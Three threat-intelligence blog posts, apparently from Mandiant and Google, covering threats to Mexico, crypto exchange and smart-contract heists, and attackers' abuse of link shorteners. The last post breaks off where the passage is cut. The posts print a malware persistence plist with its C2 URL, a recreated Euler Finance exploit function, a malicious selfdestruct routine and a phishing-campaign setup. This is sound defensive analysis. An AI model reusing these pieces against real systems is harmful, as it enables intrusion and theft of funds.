Read the paper today. To hear more about the topics discussed in this paper, watch our “Standardizing a Privileged Access Model for a Multi-Cloud Environment” session from mWISE Conference 2024.

Written by: Aurora Blum, Kelli Vanderlee

Like many countries across the globe, Mexico faces a cyber threat landscape made up of a complex interplay of global and local threats, with threat actors carrying out attempted intrusions into critical sectors of Mexican society. Mexico also faces threats posed by the worldwide increase in multifaceted extortion, as ransomware and data theft continue to rise.

Threat actors with an array of motivations continue to seek opportunities to exploit the digital infrastructure that Mexicans rely on across all aspects of society. This joint blog brings together our collective understanding of the cyber threat landscape impacting Mexico, combining insights from Google's Threat Analysis Group (TAG) and Mandiant's frontline intelligence. By sharing our global perspective, especially during today's Google for Mexico event, we hope to enable greater resiliency in mitigating these threats.

Cyber Espionage Operations Targeting Mexico

As the 12th largest economy in the world, Mexico draws attention from cyber espionage actors from multiple nations, with targeting patterns mirroring broader priorities and focus areas that we see elsewhere. Since 2020, cyber espionage groups from more than 10 countries have targeted users in Mexico; however, more than 77% of government-backed phishing activity is concentrated among groups from the People's Republic of China (PRC), North Korea, and Russia.

Figure 1: Government-backed phishing activity targeting Mexico, January 2020 – August 2024

The examples here highlight recent and historical examples where cyber espionage actors have targeted users and organizations in Mexico. It should be noted that these campaigns describe targeting and do not indicate successful compromise or exploitation.

PRC Cyber Espionage Activity Targeting Mexico

Since 2020, we have observed activity from seven cyber espionage groups with links to the PRC targeting users in Mexico, accounting for a third of government-backed phishing activity in the country.

This volume of PRC cyber espionage is similar to activity in other regions where Chinese government investment has been focused, such as countries within China's Belt and Road Initiative. In addition to activity targeting Gmail users, PRC-backed groups have targeted Mexican government agencies, higher education institutions, and news organizations. 

North Korean Government-Backed Groups Targeting Mexico

Since 2020, North Korean cyber actors have accounted for approximately 18% of government-backed phishing activity targeting Mexico. Similar to their targeting interests in other regions, cryptocurrency and financial technology firms have been a particular focus.

One of the emerging trends we are witnessing globally from North Korea is the insider threat posed by North Korean nationals gaining employment surreptitiously at corporations to conduct work in various IT roles. We note the potential for this threat to present a future risk to Mexican enterprises given historical activity by North Korean threat actors in Mexico and the challenges associated with the expansive problem of North Korean actors attempting to gain employment in other countries. 

Russian Cyber Espionage Activity Targeting Mexico

Russian cyber espionage groups have targeted users in Mexico regularly for several years; however, since the start of Russia's war in Ukraine, Russian activity targeting Mexico has scaled back considerably—likely an indication of Russia's efforts to focus resources on Ukrainian and North Atlantic Treaty Organization (NATO) targets in the context of the Russia-Ukraine war. Of the four Russia-backed groups observed targeting Mexico, over 95% of the related phishing activity comes from one group, APT28 (aka FROZENLAKE). 

Since 2020, Russian cyber actors have accounted for approximately one-fifth of government-backed phishing activity targeting Mexico. However, in 2023 and 2024, Russian cyber actors only account for less than 1% of government-backed phishing activity targeting Mexico.

Commercial Surveillance Vendors 

Spyware is typically used to monitor and collect data from high-risk users like journalists, human rights defenders, dissidents, and opposition-party politicians. These capabilities have grown the demand for spyware technology, making way for a lucrative industry used to sell to governments and nefarious actors the ability to exploit vulnerabilities in consumer devices. Google offers a range of tools to help protect high-risk users from online threats.

Over the past several years, open sources have reported multiple cases involving the use of spyware to target many sectors of Mexican civil society, including journalists, activists, government officials, and their families in Mexico. TAG has previously highlighted the negative outcomes of commercial spyware tools, including the proliferation of sophisticated cyber threat capabilities to new operators and sponsors, the increasing rates of zero-day vulnerability discovery and exploitation, and harm to targets of these tools. Though the use of spyware typically only affects a small number of human targets at a time, its wider impact ripples across society by contributing to growing threats to free speech and the free press and the integrity of democratic processes worldwide. TAG continues to observe evidence of several commercial surveillance vendors operating in Mexico. As recently as April 2024, TAG observed spyware being used in Mexico with Mexican news-themed lures.

Insights on Cyber Crime Targeting Users and Enterprises in Mexico

Cyber crime represents a common, moderate-impact threat to Mexico. Notably, we have observed a variety of operations, including ransomware and extortion, targeting of banking credentials, cryptomining, and threat actors offering compromised access and/or credentials for sale. TAG continues to detect and disrupt multiple financially motivated groups targeting users and organizations in Mexico. Of these groups, three of the top four most frequently observed groups in the past year have been initial access brokers for extortion groups. Mandiant observed evidence of threat actors using a variety of initial access vectors, including phishing, malvertising, infected USB drives, and password spray. This initial access subsequently supported threat activity including ransomware and extortion operations, cryptomining, and threat actors offering compromised access and/or credentials for sale.

Like other countries in the region, Mexico is affected by threat activity from actors primarily active in Latin America as well as operations with global reach. A significant amount of observed campaigns focus on stealing credentials for banking or other financial accounts, including use of banking trojans such as METAMORFO aka "Horabot," BBtok, and JanelaRAT. Many threat actors in the Latin American underground appear to focus on simpler operations in which they can quickly and easily generate profits, such as payment card theft and fraud.

Figure 2: Financially motivated actors most frequently observed in Mexico, Q3 2022 – Q2 2024

Extortion's Impact on Mexico

Extortion operations, including ransomware, multifaceted ransomware, and extortion, continue to affect organizations across regions and industries, including Mexico, leading to significant financial losses and business disruption. For detailed guidance on defensive strategies for ransomware, please see our blog post: Ransomware Protection and Containment Strategies: Practical Guidance for Hardening and Protecting Infrastructure, Identities, and Endpoints and the accompanying white paper. 

Mandiant tracks multiple data leak sites (DLSs) dedicated to releasing victim data following ransomware and/or extortion incidents in which victims refuse to pay a ransom demand. From January 2023 to July 2024, Mexico was surpassed only by Brazil as the Latin American and Caribbean country most affected by ransomware and extortion operations, based on counts of DLS listings, though the global distribution of extortion activity as indicated by DLS listings remains heavily skewed towards the U.S., Canada, and Western Europe. The most frequently impacted sectors in Mexico include manufacturing, technology, financial services, and government. DLSs that most often listed Mexican organizations include LockBit, ALPHV, and 8BASE.

Figure 3: Data leak listings for Mexican organizations by industry

Impersonating Official Government Services to Distribute Malware 

Malware distribution campaigns targeting users in Mexico frequently use tax- and finance-themed lures to convince recipients to open malicious links or files. Throughout 2023 and into 2024, Mandiant observed UNC4984 activity distributing either malicious browser extensions or the SIMPLELOADER downloader using multiple distribution vectors, including using email lures for malware distribution. The malicious websites leveraged in these campaigns often masquerade as tax- or financial-related Chilean or Mexican government websites, and the malicious browser extensions specifically target Mexican bank institutions.

Figure 4: UNC4984 website spoofing the Mexican Tax Administration Service (SAT) prompting users to download a malicious browser extension

Another financially motivated group, tracked as UNC5176, uses emails and malicious advertisement (aka "malvertising") campaigns to compromise users from various countries, including Brazil, Mexico, Chile, and Spain. Mandiant observed multiple malicious email campaigns delivering the URSA (aka Mispadu) backdoor to Latin American organizations in multiple industries, including a December 2023 UNC5176 campaign spoofing Mexico's state-owned electric utility, the Comisión Federal de Electricidad. In April 2024, an UNC5176 phishing campaign distributed URSA to organizations primarily located in Latin America using malicious PDF attachments containing an embedded link to a ZIP archive. In some incidents, the ZIP archives were hosted and retrieved from legitimate file-hosting services such as S3 buckets, Azure, Github, and Dropbox.

Figure 5: Screenshot of phishing email

Using Threat Intelligence to Protect Users and Customers

Google uses the results of our research to improve the safety and security of our products, making them secure by default. Chrome OS has built-in, proactive security measures to protect from ransomware attacks, and there have been no reported ransomware attacks ever on any Chrome OS device. Google security teams continuously monitor for new threat activity, and all identified websites and domains are added to Safe Browsing to protect users from further exploitation. We also deploy and constantly update Android detections to protect users' devices and prevent malicious actors from publishing malware to the Google Play Store. We send targeted Gmail and Workspace users government-backed attacker alerts, notifying them of the activity and highly encouraging device updates and the use of Enhanced Safe Browsing for Chrome. Additionally, Google Cloud customers can access insight into these threats through our Google Threat Intelligence product announced earlier this year.

Conclusion 

Mexico will remain an attractive target for threat actors driven by diverse motivations. Global cyber espionage actors from the PRC, North Korea, and Russia as well as multinational cyber criminals pose longstanding threats. To effectively safeguard Mexican enterprises and users, it is important to understand this unique interplay of threats and adopt a proactive approach to cybersecurity.

We hope the analysis and research here helps to inform defenders in Mexico, providing fresh insights for collective defense. At Google, we are committed to supporting the safety and security of online users everywhere and will continue to take action to disrupt malicious activity to protect our users and enterprise customers and help make the internet safe for all.

Written by: Robert Wallace, Blas Kojusner, Joseph Dobson

Where money goes, crime follows. The rapid growth of Web3 has presented new opportunities for threat actors, especially in decentralized finance (DeFi), where the heists are larger and more numerous than anything seen in the traditional finance sector. Mandiant has a long history of investigating bank heists. In 2016, Mandiant investigated the world's largest bank heist that occurred at the Bank of Bangladesh and resulted in the theft of $81 million by North Korea's APT38. While the group's operations were quite innovative and made for an entertaining 10-episode podcast by the BBC, it pales in comparison to Web3 heists. In 2022, the largest DeFi heist occurred on Sky Mavis' Ronin Blockchain, which resulted in the theft of over $600 million by North Korean threat actors. While North Korea is arguably the world's leading cyber criminal enterprise, they are not the only player. Since 2020, there have been hundreds of Web3 heists reported, which has resulted in over $12 billion in stolen digital assets

Source: Chainalysis 2024 Crypto Crime Report

While social engineering, crypto drainers, rug pulls (scams), and frauds abound, the most impactful Web3 incidents typically involve theft of crypto wallet keys from organizations (e.g., crypto exchanges), smart contract exploits, and occasionally web frontend attacks that divert user funds.

Crypto Exchange Heists

Crypto exchanges are valuable targets for sophisticated cyber criminals. One of the earliest and perhaps most notable exchange heists occurred in February 2014 when Mt. Gox lost approximately $350 million worth of bitcoin (BTC). Since that time, there have been numerous attacks on exchanges. More recently, in May 2024, the Japanese crypto exchange DMM Bitcoin had over $300 million stolen.

Crypto exchange heists typically involve a series of events that map to the Targeted Attack Lifecycle. Recent findings from Mandiant heist investigations have identified social engineering of developers via fake job recruiting with coding tests as a common initial infection vector. The following screenshots (Figure 1) are from a recent heist investigation where an engineer was contacted about a fake job opportunity via LinkedIn by a DPRK threat actor. After an initial chat conversation, the attacker sent a ZIP file that contained COVERTCATCH malware disguised as a Python coding challenge, which compromised the user’s macOS system by downloading a second-stage malware that persisted via Launch Agents and Launch Daemons.

Figure 1: Fake job opportunity

DPRK social engineering efforts have also targeted Finance personnel. Recently, Mandiant observed a similar recruiting theme which delivered a malicious PDF disguised as a job description for “VP of Finance and Operations” at a prominent crypto exchange. The malicious PDF dropped a second-stage malware known as RUSTBUCKET which is a backdoor written in Rust that supports file execution. The backdoor collects basic system information, communicates to a URL provided via the command-line, and in this instance persisted, via a Launch Agent disguised as “Safari Update” with a command-and-control (C2 or C&C) domain autoserverupdate[.]line[.]pm.

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.apple.safariupdate</string>
        <key>RunAtLoad</key>
        <true/>
        <key>LaunchOnlyOnce</key>
        <true/>
        <key>KeepAlive</key>
        <true/>
        <key>ProgramArguments</key>
        <array>
        <string>/Users/REDACTED/Library/Application Support/Safari Update</string>

<string>https://autoserverupdate.line[.]pm/qp5FV6ilCJf
/Q5wWzIY5%2BSEE07MzxS/TMbSBM7BiR/DIUDMurOYs/xoG5A%3D%3D</string>
        </array>
    </dict>
    </plist>

Figure 2: Launch Agent PLIST file used for persistence of RUSTBUCKET malware

DPRK threat actors do not rely solely on social engineering when targeting Web3 organizations. They have also been observed conducting supply chain attacks to establish an initial foothold such as the attacks on JumpCloud and 3CX in 2023 which targeted their downstream customers that provide cryptocurrency services. Once a foothold is established via malware, the attackers pivot to password managers to steal credentials, perform internal reconnaissance via code repos and documentation, and pivot into the cloud hosting environment to reveal hot wallet keys and eventually drain funds. 

The following snippet shows example decrypted AWS EC2 SSM Parameters identified in AWS CloudTrail logs from a heist investigation. These decrypted SSM Parameters included the private keys, usernames, and passwords for an exchange’s production cryptocurrency wallets. Approximately one hour later the wallets were drained resulting in a loss of over $100 million.

{"name":"/prod/wallets/wallets-password","withDecryption":true}
{"name":"/prod/wallets/signing-svc/db/user","withDecryption":true}
{"name":"/prod/wallets/signing-svc/db/password","withDecryption":true}
{"name":"/prod/wallets/eth/db/password","withDecryption":true}
{"name":"/prod/wallets/btc/db/password","withDecryption":true}

Figure 3: Example AWS SSM Parameter Store Requests related to cryptocurrency wallets

While a heist may seem fast given the sudden losses, Mandiant has observed crypto exchange attacks with dwell times of up to 12 months, indicating a significant opportunity for improved threat detection to prevent heists. Exchanges that have detected attacks early in the attack lifecycle have been successful at thwarting heists. To learn more about crypto exchange heists, check out this upcoming presentation “From Job Interview to Crypto Heist” at the mWISE Conference in Denver, September 18-19.

Smart Contract Exploits

Smart contracts are code that run on a blockchain that are typically open source, decentralized, immutable, and permissionless. Their code is often transparent and publicly verifiable, which means that any interested party can see exactly what logic a smart contract follows when it receives digital assets. Exploiting smart contracts typically involves finding flaws in the code's logic in order to steal the underlying assets – no credential theft, malware, or C2 infrastructure required. 

Smart contracts are invoked anytime one wants to request a computation within a blockchain network. Well-known networks that employ smart contract technology include Ethereum, Tron, and Solana. Smart contracts can be used to support arbitrarily complex user-facing apps and services such as marketplaces, financial utilities, and games. Any developer can create a smart contract and deploy it by paying a fee to the network. Any user can then pay a fee to the network to call the smart contract to execute its code.

The programming language behind a smart contract typically depends on the network where it will be deployed. Solidity is the most popular programming language used to develop smart contracts on the Ethereum network. Other networks may involve different systems that require the use of other programming languages such as Python for Algorand and Rust for Solana. Once a smart contract is ready to be deployed, it is compiled into bytecode. The bytecode is decentralized and transparent; therefore, even if the high-level code used to compile a contract is unavailable, the bytecode is publicly available and can be decompiled to see the functions present in the contract.

A fundamentally sound understanding of the programming language is essential when developing smart contracts as they are heavily targeted due their financial nature. Good smart contract practices can also overlap with traditional secure programming practices like implementing safe libraries to perform arithmetic; however, smart contracts possess unique behaviors that open them up to their own subset of challenges.

Reentrancy Attack

Smart contracts can interact with other smart contracts in the network by performing an external call. External calls should be treated as untrusted since the behavior of an external contract is not always guaranteed, regardless if the external contract is known good, since the external contract itself could unwillingly execute malicious code via an external call of its own. It is because of this that smart contract developers should ensure there is nothing critical being done after an external call is executed.

The first, and perhaps most widely known, smart contract exploit occurred in June 2016 when The DAO was hacked for $55 million worth of Ether (ETH). While much has been written about that heist, the perpetrator remains a mystery. The hack utilized a technique now known as a "reentrancy attack," which abused the transfer mechanism that sent ETH before updating its internal state, thus allowing the attacker to create a sequence of recursive calls to siphon funds. This has become a common attack vector for smart contracts that has resulted in the theft of hundreds of millions of dollars in digital assets.

Curve Finance Hack

A more recent example of a successful reentrancy attack in the wild came by way of Curve Finance, one of the most-used and influential decentralized exchanges. In July of 2023, $70 million was stolen via a vulnerability in Vyper that allowed for reentrancy attacks on older versions (0.2.15, 0.2.16 and 0.3.0). 

Reentrancy vulnerabilities can typically be triggered when a state change is performed after an external call. A common target is a contract that allows users to deposit funds to a pool and withdraw them later. The withdraw function would typically check if the user has enough balance before initiating the transfer. Despite this check, a malicious contract can exploit the smart contract by triggering multiple withdraw calls before the first transfer is complete. This bypasses the balance check because the contract's state has not been updated yet, leading to unauthorized withdrawals. The transfer process is repeated until the pool has no more available funds. This vulnerable pattern is present in the Vyper code targeted in the Curve Finance exploit.

@nonreentrant('lock')
def remove_liquidity(
    _burn_amount: uint256,
    _min_amounts: uint256[N_COINS],
    _receiver: address = msg.sender
) -> uint256[N_COINS]:
    """
    @notice Withdraw coins from the pool
    @dev Withdrawal amounts are based on current deposit ratios
    @param _burn_amount Quantity of LP tokens to burn in the withdrawal
    @param _min_amounts Minimum amounts of underlying coins to receive
    @param _receiver Address that receives the withdrawn coins
    @return List of amounts of coins that were withdrawn
    """
    total_supply: uint256 = self.totalSupply
    amounts: uint256[N_COINS] = empty(uint256[N_COINS])

    for i in range(N_COINS):
        old_balance: uint256 = self.balances[i]
        value: uint256 = old_balance * _burn_amount / total_supply
        assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected"
        self.balances[i] = old_balance - value
        amounts[i] = value

        if i == 0:
            raw_call(_receiver, b"", value=value)
        else:
            response: Bytes[32] = raw_call(
                 self.coins[1],
                 concat(
                    method_id("transfer(address,uint256)"),
                    convert(_receiver, bytes32),
                    convert(value, bytes32),
                ),
                max_outsize=32,
            )
            if len(response) > 0:
                assert convert(response, bool)

    total_supply -= _burn_amount
    self.balanceOf[msg.sender] -= _burn_amount
    self.totalSupply = total_supply
    log Transfer(msg.sender, ZERO_ADDRESS, _burn_amount)

    log RemoveLiquidity(msg.sender, amounts, empty(uint256[N_COINS]), total_supply)

    return amounts

Figure 4: The Vulnerable Curve Finance remove_liquidity function

The remove_liquidity smart contract updates how much liquidity msg.sender has in the pool by subtracting the burn fee with self.balanceOf[msg.sender] -= _burn_amount. This is followed by a call to Transfer() on the msg.sender for the amount associated with the account. 

The issue lies at the external call to self.coins[1]. Here, the @nonreentrant modifier did not protect the function from being re-entered within the same transaction before the external call. Therefore, an attacker was able to manipulate the external call to self.coins[1] to recursively make a raw_call back into the original remove_liquidity function before it had finished updating the state variables. Due to the faulty @nonreentrant modifier, the layout of the smart contract led to the draining of funds from the contract.

Flash Loan Attack

Another common attack vector for smart contracts are "flash loan attacks." Flash loans are unsecured debt (no collateral) that must be repaid in the same transaction. There are legitimate uses of flash loans (e.g., arbitrage), but hackers can also use them to manipulate DeFi pricing oracles by buying or short selling high volumes of tokens that have thin supply. 

Euler Finance Hack

In March 2023, the DeFi lending protocol Euler Finance suffered a flash loan attack that resulted in the theft of nearly $200 million. The attacker initially used Tornado Cash, a mixer that obfuscates the origins and ownership of cryptocurrency, to obtain the funds necessary for the heist. The attacker initiated a flash loan to borrow $30 million from the DeFi protocol Aave. The attacker then deposited $20 million of the borrowed DAI stablecoin into Euler, receiving eDAI tokens in return. These eDAI tokens were then leveraged to borrow ten times their value. The attacker used the remaining $10 million in DAI to repay part of the debt, and then exploited a flaw in Euler's system to repeatedly borrow more funds using the same mint function until the flash loan was finally closed.

The blockchain security firm PeckShield identified the vulnerability in Euler Finance’s donateToReserves function. The contract permits a user to donate their balance to the reserveBalance of the token they are transacting with. No health check is performed on the account that initiates the donation. A donation via donateToReserves could also reduce a user's equity (EToken) balance without affecting their debt (DToken), causing an imbalance that could lead to a liquidation. During liquidation, a percentage-based discount is applied to the collateral, incentivizing liquidators to take on the debt. The attacker intentionally over-leveraged their position to cause a significant discount before triggering a self-liquidation. The substantial discount ensured the attacker acquired the collateral cheaply while having their remaining assets cover their debts. This left Euler Finance with a significant amount of unbacked "bad debt" and the attacker with a highly profitable, over-collateralized position.

A recreation of the violator contract used in the Euler Finance hack helps visualize the steps taken to perform the heist. The contract deposits two-thirds of their initial token balance into the protocol as collateral to gain borrowing power. The contract borrows a significant amount of eToken against their deposited collateral and repays one-third of their initial balance. The contract proceeds to borrow the original amount of eToken again and invokes donateToReserves to force a liquidation of their own position.

function violator(address exploit, uint256 initialBalance, uint256 mintAmount, uint256 donateAmount, uint256 maxWithdraw, IERC20 token, EToken eToken, DToken dToken) external returns (bool) {

        token.approve(EulerProtocol.euler, type(uint256).max);

        eToken.deposit(0, (2 * initialBalance / 3) * 10**token.decimals());
        eToken.mint(0, mintAmount * 10**token.decimals());
        dToken.repay(0, (initialBalance / 3) * 10**token.decimals());
        eToken.mint(0, mintAmount * 10**token.decimals());
        eToken.donateToReserves(0, donateAmount * 10**eToken.decimals());

        console.log("[*] Generated bad loan...");
        console.log("    Collateral: %d Debt: %d", eToken.balanceOf(address(this))/10**eToken.decimals(), dToken.balanceOf(address(this))/10**dToken.decimals());

        return liquidator.liquidate(exploit, initialBalance, mintAmount, donateAmount, maxWithdraw, address(this), token, eToken, dToken);
}

Figure 5: Recreated Snippet from Violator Contract used in the Euler Finance Hack

The donateToReserves contract was missing a health check to confirm the donator's debt is greater than or equal to the donation amount as the debt should be reduced or otherwise be set to zero. On April 4, 2023, The Euler Foundation released a statement regarding the theft of $200 million in assets, stating that after successful negotiations, all recoverable funds were returned. While this is one of the largest recoveries of stolen digital assets to date, it also presented a challenge to the DeFi insurer Nexus Mutual who had paid out claims to victims of the Euler hack.

Governance Attack

Many decentralized autonomous organizations (DAOs) utilize permissionless voting with a fungible and tradable native token for governance. Governance systems are designed to allow token holders to participate in decision-making about the project, such as which proposals to fund or which changes to make to the protocol. A "governance attack" targets the permissionless voting governance system of a DAO such that an attacker can gain control of the project. Governance attacks can be very damaging to Web3 projects because they can lead to loss of funds, disruption of the project, and even the project's collapse.

One common method of performing a governance attack is to acquire a large number of a project's tokens, giving an attacker a significant amount of voting power. Once they have enough voting power, an attacker can propose and vote on malicious proposals, such as draining the project's treasury or changing the rules of the protocol to benefit themselves.

Tornado Cash Governance Attack

In May 2023, the cryptocurrency mixer Tornado Cash fell victim to a hostile takeover via a governance attack that drained 10,000 TORN tokens, worth approximately $70,000. The attacker granted themself 1,200,000 votes, surpassing the estimated 700,000 legitimate votes, to give them full control of the Tornado Cash governance. 

The heist started with a malicious proposal transaction at 0x34605f1d6463a48b818157f7b26d040f8dd329273702a0618e9e74fe350e6e0d that claims to penalize relayers that are cheating the protocol. Despite stating the smart contract uses the same logic as one in a previously passed proposal, the new proposed smart contract contained an extra function named emergencyStop(). Although there was a five-day voting period, followed by a two-day execution delay, the issue within the proposal was not identified and the attacker successfully social engineered most members within the community to vote in favor of the proposal by tricking them through the proposal description.

Figure 6: Description of the Tornado Cash Malicious Proposal

Invoking the new emergencyStop() function triggers the selfdestruct method used to terminate a contract, remove the bytecode from the Ethereum blockchain, and send any contract funds to a specified address. This process lets the attacker destroy the proposal contract, and its creating contract, such that they can update the proposal contract to a new malicious contract and perform the heist.

function emergencyStop() public onlyOwner {
    selfdestruct(payable(0));
}

Figure 7: The Invoked emergencyStop Function to Start the Overtaking of Tornado Cash Governance

Once the proposal was passed by voters, the attacker invoked the emergencyStop() function and updated the original proposal logic to grant themselves newly minted votes and obtain complete control of the DAO. To receive ownership of the targeted contract in this case, the attacker changed the locked token balance of the contracts they controlled to 10,000 and transferred the tokens to their own address.

Figure 8: Changing of Locked Token Balance of Attacker Controlled Contracts to 10,000

Conclusion

An understanding of past compromises and evolving threats is critical to guard against future attacks and help safeguard digital assets. As cryptocurrency and Web3 organizations expand, with platforms like Google Cloud for Web3 enabling innovation, they are frequently targeted, regardless of size, and there are typically earlier signs of compromise than the theft itself such as malware or suspicious logins. Organizations must evaluate their security posture and should consider leveraging advanced security solutions, such as Google Security Operations, to enable sufficient logging, alerting, and comprehensive incident response investigations to detect attacks and help prevent heists.

Adrian McCabe, Ryan Tomcik, Stephen Clement

Introduction

Digital analytics tools are vital components of the vast domain that is modern cyberspace. From system administrators managing traffic load balancers to marketers and advertisers working to deliver relevant content to their brand’s biggest fan base, tools like link shorteners, location trackers, CAPTCHAs, and digital advertising platforms each play their part in making information universally accessible and useful to all.

However, just as these tools can be used for good, they can also be used for malicious purposes. Mandiant and Google Cloud researchers have witnessed threat actors cleverly repurposing digital analytics and advertising tools to evade detection and amplify the effectiveness of their malicious campaigns.

This blog post dives deep into the threat actor playbook, revealing how these tools can be weaponized by attackers to add malicious data analytics (“malnalytics”) capabilities to their threat campaigns. We'll expose the surprising effectiveness of these tactics and arm defenders with detection and mitigation strategies for their own environments.

Get Shor.ty

First entering the scene around the year 2000 and steadily gaining in popularity ever since, link shorteners have become a fairly ubiquitous utility for life on the Internet. In addition to the popular link shortening services like bit.ly and rb.gy, large technology companies like Amazon (a.co) and Google (goo.gl) also have (or had, in Google’s case) their own link shortening structures and schemas. In the legitimate advertising and marketing sense, link shorteners are typically used as a mechanism to track things like click-through rates on advertisements, or to reduce the likelihood that a complicated URL with parameterized arguments will get mangled when being shared. However, link shorteners and link shortening services have also been used by threat actors (MITRE ATT&CK Technique T1608.005) to obscure the URLs of malicious landing pages, and Mandiant has observed threat actors using link shorteners to redirect victims during the initial access phase of an attack chain. Some recent examples include: 

• A link shortener service used by UNC1189 (also known as “MuddyWater”) in spring of 2022 to funnel users to a phishing lure document hosted on a cloud storage provider.

• A set of SMS phishing campaigns orchestrated by a financially motivated threat actor between spring of 2021 and late 2022, which leveraged link shorteners to funnel users through a nested web of device, location, and browser checks to a set of forms that ultimately attempt to steal credit card information.

• A malvertising campaign in spring of 2023 that leveraged a link shortener to track click-through data for Dropbox URLs hosting malware payloads. 

Behind the ma.sk

To demonstrate the capabilities of a link shortener service from a threat actor perspective, the service bit.ly will be featured in this blog post. Originally made popular on X (formerly Twitter) around 2008, bit.ly remains a popular link shortening solution. Like most modern software-as-a-service (SaaS) platforms, bit.ly offers multiple subscription levels based around levels of usage and feature availability (Figure 1).

Figure 1: bit.ly subscription page

In an attempt to avoid direct attribution, threat actors may use fake or stolen personal and/or payment information to complete the registration for such a subscription or service. Once the setup process has been completed, attackers can begin to generate shortened links (Figure 2).

Figure 2: bit.ly destination URL configuration

Figure 3: bit.ly customized URL configuration

As part of some bit.ly subscription levels, custom fields can be appended to URLs as parameters to gain further insights into their associated activity (see the “Custom URL parameter name” field and value pair in Figure 4). This feature set is obviously quite beneficial for social media brand influencers, marketers, and advertisers, but attackers can use this functionality to get added insights into their campaign activities.

In this fictitious example, let’s say an attacker intends to use a shortened bit.ly link as part of a larger SMS phishing campaign targeting phone numbers within the “703” area code. When opened, the link will direct users to an attacker-controlled fake payment site enticing the user to pay urgent outstanding invoices.

The attacker can configure parameters (Figure 4) to generate an Urchin Tracking Module (UTM) URL specific to this component of the phishing campaign (Figure 5) for tracking purposes. This bit.ly article contains more information on the legitimate use of these types of URL data fields.

Figure 4: Customized UTM parameter configuration

Figure 5: Parameterized URL structure with UTM fields

Though attackers typically would not have such fields in the URL parameters for their campaign infrastructure as overtly labeled as the example in Figure 5, the effectiveness of leveraging such online marketing integrations and data fields is readily apparent. In this scenario: 

• Source is a designator for a list of active phone numbers that can receive SMS messages. While the list itself and the infrastructure to send the messages would reside outside of bit.ly, bit.ly can be used to correlate corresponding click-through activity through these URL parameters.
• Medium is the mechanism by which a victim would be exposed to the link. In this case, “sender_1” would be a way for the attacker to correlate the downstream victim to the phone number in the attacker’s infrastructure that originally sent them the message.
• Campaign is the aggregated bucket of related activity visible within bit.ly. In bit.ly, an individual campaign can have many different links tied to it, but the associated activity can be tracked concurrently.
• Term is an optional field that has a legitimate use for mapping search engine keywords or terms to strategically placed bit.ly links by advertisers.
• Custom URL parameter name - targeting_area_code, 703: This is an entirely customized bit.ly field included for the purposes of this scenario that signifies which area code the attacker will be targeting with this specific link. In this case, the attacker will be targeting Washington D.C., metropolitan area residents in Northern Virginia.

After these parameters are selected and the bit.ly links are fully configured, attackers can put their links into action. Once a campaign is underway and links are distributed through their medium of choice, attackers can monitor the activity to their shortened links using a dashboard interface (Figure 6).

Figure 6: bit.ly click-through analytics dashboard

Defending Against Attacks Leveraging Link Shorteners

Given the fairly ubiquitous nature of link shorteners, unilaterally blocking them from use within an environment is generally inadvisable as this decision would likely impact both productivity and user experience. Instead, defenders should consider implementing some form of automated analysis around them that has the ability to detect behavioral conditions, such as:

• If the shortened URL goes to a second/nested shortened URL on different infrastructure
• If the same shortened URL has appeared multiple times in a short timespan in telemetry data associated with different hosts within an environment
• If the URL goes directly to an executable or archive file on a cloud-hosting service or a file with a “non-standard” file type (e.g., .REV file)

Additionally, it’s possible to identify suspicious behavioral patterns in network telemetry that may indicate link shortener abuse. As part of this exercise, we reviewed the network telemetry associated with two simulated attack chains leveraging a bit.ly URL as an Initial Infection Vector (IIV) and identified some viable elements of the traffic around which to potentially build detections or hunting strategies:

Attack Configuration

Network Requests

Hunting Strategy

bit.ly -> Credential Harvesting Page (afakeloginpage[.]xyz)

00:00:00 - init Client Hello (TLS), bit.ly

00:00:00 - init DNS resolution request, afakeloginpage[.]xyz

In bit.ly’s particular case, there is minimal delay (milliseconds) between the time a host initiates a connection via Client Hello and the time that the host initiates the DNS resolution for its final destination. If any DNS resolution telemetry is evident for a suspicious domain within such close proximity to bit.ly traffic (particularly for domains with non-standard TLDs like “.site,” “.xyz,” “.top,” or “.lol”), consider investigating the activity further.

bit.ly -> zip file hosted on Google Drive

00:00:00 -  init Client Hello (TLS), bit.ly

00:00:00 - DNS resolution request, drive.google[.]com

00:00:00 - Client Hello, drive.google[.]com

00:00:00 - DNS resolution request, drive[.]usercontent[.]google[.]com

Similar to the aforementioned example, there is minimal delay (milliseconds) between the time a host initiates a connection via Client Hello for bit.ly and when it attempts to connect to and/or make domain resolutions for the domains drive.google.com and drive.usercontent.google.com. Any occurrence of these three domains being accessed from a given host in quick succession likely means that a remote file was accessed via bit.ly link and additional investigation into the associated host may be warranted. This detection approach can also be generalized by looking for the co-occurence of network requests for a bit.ly URL followed by a domain categorized by a firewall or proxy device as online storage or file sharing.

Table 1: Simulated bit.ly attack telemetry analysis The World in a String: Weaponized IP Geolocation Utilities

IP geolocation utilities can be used legitimately by advertisers and marketers to gauge the geo-dispersed impact of advertising reach and the effectiveness of marketing funnels (albeit with varying levels of granularity and data availability). However, Mandiant has observed IP geolocation utilities used by attackers (MITRE ATT&CK Technique T1614). Some real-world attack patterns that Mandiant has observed leveraging IP geolocation utilities include:

• Malware payloads connecting to geolocation services for infection tracking purposes upon successful host compromise, such as with the Kraken Ransomware. This allows attackers a window into how fast and how far their campaign is spreading.
• Malware conditionally performing malicious actions based on IP geolocation data. This functionality allows attackers a level of control around their window of vulnerability and ensures they do not engage in “friendly fire” if their motivations are geo-political in nature, such as indiscriminate nation-state targeting by hacktivists. An example of this technique can be seen in the case of the TURKEYDROP variant of the Adwind malware, which attempts to surgically target systems located in Turkey. 
• Threat actors placing access restrictions on phishing lure pages and second-stage malware downloads based on IP ranges (a feature of the Caffeine PhaaS platform). This allows attackers a limited defensive mechanism against having their campaign infrastructure identified and mitigated too rapidly.

Though elegantly simple, these capabilities are vital for attackers to gain insights into their active campaigns and to prolong their campaigns’ duration and effectiveness.

How2DoUn2Others

Though there are many examples of IP-based geolocation utilities that have been used by attackers, for illustrative purposes the example shown here will use ip2location.io.

Figure 7: Ip2Location.io subscription page

ip2location.io has a fairly robust feature set (Figure 7) with a free version offering a dedicated API key with respectable limits and upper tier subscriptions offering progressively granular insights into the IP address query results that would be useful to attackers. Using ip2location.io, it is possible to determine things like: 

• If the connecting entity’s IP address falls within an IP netblock owned by a specific company
• Currency associated with the locale of the connecting entity
